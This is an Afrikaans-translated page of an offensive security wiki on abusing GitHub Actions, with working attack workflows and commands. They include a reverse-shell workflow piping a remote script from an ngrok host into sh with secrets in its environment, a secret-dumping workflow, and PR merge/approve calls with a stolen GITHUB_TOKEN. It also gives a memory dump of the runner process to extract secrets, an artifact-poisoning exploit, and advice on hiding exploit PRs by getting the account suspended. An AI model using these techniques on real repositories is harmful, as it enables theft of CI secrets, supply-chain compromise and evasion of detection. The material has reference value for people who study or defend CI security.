Abusing Github Actions

Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Kyk na die subskripsie planne!
Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
Deel hacking truuks deur PR's in te dien na die HackTricks en HackTricks Cloud github repos.

Basiese Inligting

Op hierdie bladsy sal jy vind:

'n opsomming van al die impakte van 'n aanvaller wat daarin slaag om toegang tot 'n Github Action te verkry
Verskillende maniere om toegang tot 'n aksie te kry:
Om toestemmings te hê om die aksie te skep
Misbruik van pull request verwante triggers
Misbruik van ander eksterne toegang tegnieke
Pivoting vanaf 'n reeds gecompromitteerde repo
Laastens, 'n afdeling oor post-exploitatie tegnieke om 'n aksie van binne te misbruik (om die genoemde impakte te veroorsaak)

Opsomming van Impakte

Vir 'n inleiding oor Github Actions kyk die basiese inligting.

As jy arbitraire kode in GitHub Actions binne 'n repo kan uitvoer, kan jy dalk:

Geheime wat aan die pyplyn gekoppel is steel en die privileges van die pyplyn misbruik om ongeoorloofde toegang tot eksterne platforms, soos AWS en GCP, te verkry.
Ontplooiings en ander artefakte kompromitteer.
As die pyplyn bates ontplooi of stoor, kan jy die finale produk verander, wat 'n voorsieningskettingaanval moontlik maak.
Kode in pasgemaakte werkers uitvoer om rekenaarkrag te misbruik en na ander stelsels te pivot.
Repo-kode oorskryf, afhangende van die toestemmings wat met die GITHUB_TOKEN geassosieer is.

GITHUB_TOKEN

Hierdie "geheim" (wat afkomstig is van ${{ secrets.GITHUB_TOKEN }} en ${{ github.token }}) word gegee wanneer die admin hierdie opsie aktiveer:

Hierdie token is dieselfde een wat 'n Github Toepassing sal gebruik, sodat dit toegang tot dieselfde eindpunte kan hê: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github moet 'n vloei vrystel wat cross-repository toegang binne GitHub toelaat, sodat 'n repo ander interne repos met die GITHUB_TOKEN kan benader.

Jy kan die moontlike toestemmings van hierdie token sien in: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Let daarop dat die token verval nadat die werk voltooi is. Hierdie tokens lyk soos volg: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Sommige interessante dinge wat jy met hierdie token kan doen:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'

# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'

Let daarop dat jy in verskeie gevalle github gebruikers tokens binne Github Actions omgewings of in die geheime sal kan vind. Hierdie tokens kan jou meer voorregte oor die repository en organisasie gee.

lys geheime in Github Action uitvoer

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Kry omgekeerde skulp met geheime

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Dit is moontlik om die toestemmings wat aan 'n Github Token gegee is in ander gebruikers se repositories te kontroleer deur die logs van die aksies:

Toegelate Uitvoering

Dit sou die maklikste manier wees om Github aksies te kompromitteer, aangesien hierdie geval veronderstel dat jy toegang het om 'n nuwe repo in die organisasie te skep, of skryfregte oor 'n repository het.

As jy in hierdie scenario is, kan jy net die Post Exploitation techniques kontroleer.

Uitvoering vanaf Repo Skepping

In die geval dat lede van 'n organisasie nuwe repos kan skep en jy kan github aksies uitvoer, kan jy 'n nuwe repo skep en die geheime wat op organisasievlak gestel is, steel.

Uitvoering vanaf 'n Nuwe Tak

As jy 'n nuwe tak in 'n repository kan skep wat reeds 'n Github Action geconfigureer het, kan jy dit wysig, die inhoud oplaai, en dan daardie aksie vanaf die nuwe tak uitvoer. Op hierdie manier kan jy repository en organisasievlak geheime uitvoer (maar jy moet weet hoe hulle genoem word).

Jy kan die gewysigde aksie handmatig uitvoerbaar maak, wanneer 'n PR geskep word of wanneer enige kode gepush word (afhangende van hoe luidrugtig jy wil wees):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

Forked Uitvoering

Daar is verskillende triggers wat 'n aanvaller kan toelaat om 'n Github Action van 'n ander repository te uitvoer. As daardie triggerbare aksies swak geconfigureer is, kan 'n aanvaller in staat wees om hulle te kompromitteer.

`pull_request`

Die werksvloei-trigger pull_request sal die werksvloei uitvoer elke keer wanneer 'n pull request ontvang word met 'n paar uitsonderings: standaard, as dit die eerste keer is dat jy saamwerk, sal 'n onderhouer die uitvoering van die werksvloei moet goedkeur:

Aangesien die standaard beperking vir eerste keer bydraers is, kan jy bydrae deur 'n geldige fout/typo te herstel en dan ander PRs stuur om jou nuwe pull_request voorregte te misbruik.

Ek het dit getoets en dit werk nie: ~~Nog 'n opsie sou wees om 'n rekening te skep met die naam van iemand wat by die projek bygedra het en sy rekening te verwyder.~~

Boonop voorkom dit standaard skryfrechten en toegang tot geheime tot die teikenrepository soos genoem in die dokumentasie:

Met die uitsondering van GITHUB_TOKEN, word geheime nie aan die hardeware oorgedra wanneer 'n werksvloei geaktiveer word vanaf 'n forked repository. Die GITHUB_TOKEN het slegs leesregte in pull requests van forked repositories.

'n Aanvaller kan die definisie van die Github Action wysig om arbitrêre dinge uit te voer en arbitrêre aksies by te voeg. Hy sal egter nie in staat wees om geheime te steel of die repo te oorskryf nie weens die genoem beperkings.

Ja, as die aanvaller die github action in die PR verander wat geaktiveer sal word, sal sy Github Action die een wees wat gebruik word en nie die een van die oorspronklike repo nie!

Aangesien die aanvaller ook die kode wat uitgevoer word, beheer, selfs al is daar geen geheime of skryfrechten op die GITHUB_TOKEN nie, kan 'n aanvaller byvoorbeeld kwaadwillige artefakte oplaai.

`pull_request_target`

Die werksvloei-trigger pull_request_target het skryfrechten tot die teikenrepository en toegang tot geheime (en vra nie vir toestemming nie).

Let daarop dat die werksvloei-trigger pull_request_target in die basis konteks loop en nie in die een gegee deur die PR nie (om nie onbetroubare kode uit te voer). Vir meer inligting oor pull_request_target kyk die dokumentasie. Boonop, vir meer inligting oor hierdie spesifieke gevaarlike gebruik, kyk hierdie github blog pos.

Dit mag lyk asof die uitgevoerde werksvloei die een is wat in die basis gedefinieer is en nie in die PR nie, dit is veilig om pull_request_target te gebruik, maar daar is 'n paar gevalle waar dit nie is nie.

En hierdie een sal toegang tot geheime hê.

`workflow_run`

Die workflow_run trigger laat toe om 'n werksvloei van 'n ander een te laat loop wanneer dit voltooi, gevraag of in_vordering is.

In hierdie voorbeeld is 'n werksvloei geconfigureer om te loop nadat die aparte "Toetse Loop" werksvloei voltooi is:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Moreover, according to the docs: Die werksvloei wat deur die workflow_run gebeurtenis begin is, kan toegang tot geheime hê en tokens skryf, selfs al was die vorige werksvloei nie.

Hierdie tipe werksvloei kan aangeval word as dit afhang van 'n werksvloei wat deur 'n eksterne gebruiker via pull_request of pull_request_target geaktiveer kan word. 'n Paar kwesbare voorbeelde kan hierdie blog** gevind word.** Die eerste een bestaan uit die workflow_run geaktiveerde werksvloei wat die aanvaller se kode aflaai: ${{ github.event.pull_request.head.sha }} Die tweede een bestaan uit die oordrag van 'n artefak van die onbetroubare kode na die workflow_run werksvloei en die gebruik van die inhoud van hierdie artefak op 'n manier wat dit kwesbaar maak vir RCE.

`workflow_call`

TODO

TODO: Kontroleer of wanneer dit van 'n pull_request uitgevoer word, die gebruikte/afgelaaide kode die een van die oorsprong of van die geforkte PR is.

Misbruik van Geforkte Uitvoering

Ons het al die maniere genoem waarop 'n eksterne aanvaller 'n github werksvloei kan laat uitvoer, kom ons kyk nou na hoe hierdie uitvoerings, as dit sleg geconfigureer is, misbruik kan word:

Onbetroubare checkout uitvoering

In die geval van pull_request, sal die werksvloei in die konsep van die PR uitgevoer word (so dit sal die kwaadaardige PR se kode uitvoer), maar iemand moet dit eers goedkeur en dit sal met 'n paar beperkings loop.

In die geval van 'n werksvloei wat pull_request_target of workflow_run gebruik wat afhang van 'n werksvloei wat van pull_request_target of pull_request geaktiveer kan word, sal die kode van die oorspronklike repo uitgevoer word, so die aanvaller kan nie die uitgevoerde kode beheer nie.

Egter, as die aksie 'n duidelike PR checkout het wat die kode van die PR sal kry (en nie van die basis nie), sal dit die aanvaller se beheerde kode gebruik. Byvoorbeeld (kyk na lyn 12 waar die PR kode afgelaai word):

# ONBEVEILIG. Slegs as 'n voorbeeld verskaf.
on:
pull_request_target

jobs:
build:
name: Bou en toets
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Dankie!

Die potensieel onbetroubare kode word tydens npm install of npm build uitgevoer aangesien die bou skripte en verwysde pakkette deur die skrywer van die PR beheer word.

'n github dork om vir kwesbare aksies te soek is: event.pull_request pull_request_target extension:yml egter, daar is verskillende maniere om die werksgeleenthede te konfigureer om veilig uitgevoer te word selfs al is die aksie onveilig geconfigureer (soos om voorwaardes te gebruik oor wie die akteur is wat die PR genereer).

Konteks Skrip Injekties

Let daarop dat daar sekere github kontekste is waarvan die waardes beheer word deur die gebruiker wat die PR skep. As die github aksie daardie data gebruik om enigiets uit te voer, kan dit lei tot arbitraire kode uitvoering:

Gh Actions - Context Script Injections

GITHUB_ENV Skrip Injektion

Volgens die dokumentasie: Jy kan 'n omgewing veranderlike beskikbaar maak vir enige daaropvolgende stappe in 'n werksvloei werk deur die omgewing veranderlike te definieer of op te dateer en dit na die GITHUB_ENV omgewing lêer te skryf.

As 'n aanvaller enige waarde binne hierdie env veranderlike kan injekteer, kan hy env veranderlikes inbringe wat kode in daaropvolgende stappe kan uitvoer soos LD_PRELOAD of NODE_OPTIONS.

Byvoorbeeld (hierdie en hierdie), stel jou 'n werksvloei voor wat 'n geupload artefak vertrou om sy inhoud binne die GITHUB_ENV env veranderlike te stoor. 'n Aanvaller kan iets soos dit oplaai om dit te kompromitteer:

Kwesbare Derdeparty Github Aksies

dawidd6/action-download-artifact

Soos genoem in hierdie blogpos, laat hierdie Github Aksie toe om toegang tot artefakte van verskillende werksvloei en selfs repositories te verkry.

Die probleem is dat as die path parameter nie gestel is nie, die artefak in die huidige gids uitgepak word en dit kan lêers oorskryf wat later in die werksvloei gebruik of selfs uitgevoer kan word. Daarom, as die Artefak kwesbaar is, kan 'n aanvaller dit misbruik om ander werksvloei wat die Artefak vertrou, te kompromitteer.

Voorbeeld van kwesbare werksvloei:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Dit kan aangeval word met hierdie werksvloei:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Ander Eksterne Toegang

Verwyderde Namespace Repo Hijacking

As 'n rekening sy naam verander, kan 'n ander gebruiker 'n rekening met daardie naam registreer na 'n tyd. As 'n repository minder as 100 sterre gehad het voor die naamsverandering, sal Github die nuwe geregistreerde gebruiker met dieselfde naam toelaat om 'n repository met dieselfde naam as die een wat verwyder is, te skep.

So as 'n aksie 'n repo van 'n nie-bestaande rekening gebruik, is dit steeds moontlik dat 'n aanvaller daardie rekening kan skep en die aksie kan kompromitteer.

As ander repositories afhang van hierdie gebruiker se repos, sal 'n aanvaller in staat wees om hulle te hijack. Hier is 'n meer volledige verduideliking: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/

Repo Pivoting

In hierdie afdeling sal ons praat oor tegnieke wat sou toelaat om te pivot van een repo na 'n ander op voorwaarde dat ons 'n soort toegang op die eerste een het (kyk na die vorige afdeling).

Cache Poisoning

'n Cache word tussen workflow-uitvoerings in dieselfde tak gehandhaaf. Dit beteken dat as 'n aanvaller kompromitteer 'n pakket wat dan in die cache gestoor word en afgelaai en uitgevoer word deur 'n meer bevoorregte workflow, hy ook daardie workflow sal kan kompromitteer.

GH Actions - Cache Poisoning

Artifact Poisoning

Workflows kan artefakte van ander workflows en selfs repos gebruik, as 'n aanvaller daarin slaag om die Github Action wat 'n artefak oplaai wat later deur 'n ander workflow gebruik word, te kompromitteer, kan hy die ander workflows ook kompromitteer:

Gh Actions - Artifact Poisoning

Post Exploitation van 'n Aksie

Toegang tot AWS en GCP via OIDC

Kyk na die volgende bladsye:

AWS - Federation Abuse GCP - Federation Abuse

Toegang tot geheime

As jy inhoud in 'n skrip inspuit, is dit interessant om te weet hoe jy toegang tot geheime kan kry:

As die geheim of token op 'n omgewing veranderlike gestel is, kan dit direk deur die omgewing met printenv aangespreek word.

Lys geheime in Github Action-uitvoer

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Kry omgekeerde skulp met geheime</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

As die geheim direk in 'n uitdrukking gebruik word, word die gegenereerde shell-skrip op-disk gestoor en is dit toeganklik.

cat /home/runner/work/_temp/*

* Vir 'n JavaScript aksies word die geheime deur omgewingsveranderlikes gestuur.
* ```bash
ps axe | grep node

Vir 'n aangepaste aksie kan die risiko verskil, afhangende van hoe 'n program die geheim wat dit van die argument verkry het, gebruik:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Misbruik van Self-gehoste lopers

Die manier om te vind watter Github Actions in nie-github infrastruktuur uitgevoer word, is om te soek na runs-on: self-hosted in die Github Action konfigurasie yaml.

Self-gehoste lopers mag toegang hê tot ekstra sensitiewe inligting, na ander netwerkstelsels (kwetsbare eindpunte in die netwerk? metadata diens?) of, selfs al is dit geïsoleer en vernietig, kan meer as een aksie gelyktydig uitgevoer word en die kwaadwillige een kan die geheime van die ander steel.

In self-gehoste lopers is dit ook moontlik om die geheime van die _Runner.Listener_** proses** te verkry, wat al die geheime van die werksvloei op enige stap sal bevat deur sy geheue te dump:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Kyk hierdie pos vir meer inligting.

Github Docker Beeld Registrasie

Dit is moontlik om Github aksies te maak wat 'n Docker beeld binne Github bou en stoor. 'n Voorbeeld kan gevind word in die volgende uitbreidbare:

Github Aksie Bou & Stoot Docker Beeld

```yaml [...]

name: Set up Docker Buildx uses: docker/setup-buildx-action@v1
name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}
name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Soos wat jy in die vorige kode kon sien, word die Github registrasie gehos in **`ghcr.io`**.

'n Gebruiker met leesregte oor die repo sal dan in staat wees om die Docker Image af te laai met 'n persoonlike toegangsteken:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Then, the user could search for leaked secrets in the Docker image layers:

Sensitiewe inligting in Github Actions logs

Selfs al probeer Github om geheime waardes in die aksies logs te detecteer en te vermy om hulle te wys, sal ander sensitiewe data wat moontlik tydens die uitvoering van die aksie gegenereer is, nie versteek word nie. Byvoorbeeld, 'n JWT wat met 'n geheime waarde onderteken is, sal nie versteek word nie tensy dit spesifiek gekonfigureer is.

Bedek jou Spore

(Tegniek van hier) Eerstens, enige PR wat ingedien word, is duidelik sigbaar vir die publiek in Github en vir die teiken GitHub rekening. In GitHub kan ons nie 'n PR van die internet verwyder nie, maar daar is 'n draai. Vir GitHub rekeninge wat deur Github gesuspend is, word al hul PRs outomaties verwyder en van die internet verwyder. So om jou aktiwiteit te verberg, moet jy jou GitHub rekening gesuspend of jou rekening geflag kry. Dit sal al jou aktiwiteite op GitHub van die internet verberg (basies al jou eksploit PR verwyder)

'n Organisasie in GitHub is baie proaktief in die verslagdoening van rekeninge aan GitHub. Alles wat jy moet doen, is om "iets" in 'n Issue te deel en hulle sal seker maak jou rekening word binne 12 uur gesuspend :p en daar het jy, jou eksploit op github onsigbaar gemaak.

Die enigste manier vir 'n organisasie om uit te vind dat hulle geteiken is, is om GitHub logs van SIEM te kontroleer, aangesien die PR van die GitHub UI verwyder sal word.

Gereedskap

Die volgende gereedskap is nuttig om Github Action workflows te vind en selfs kwesbare te vind:

PreviousGithub Security NextGh Actions - Artifact Poisoning

Last updated 3 days ago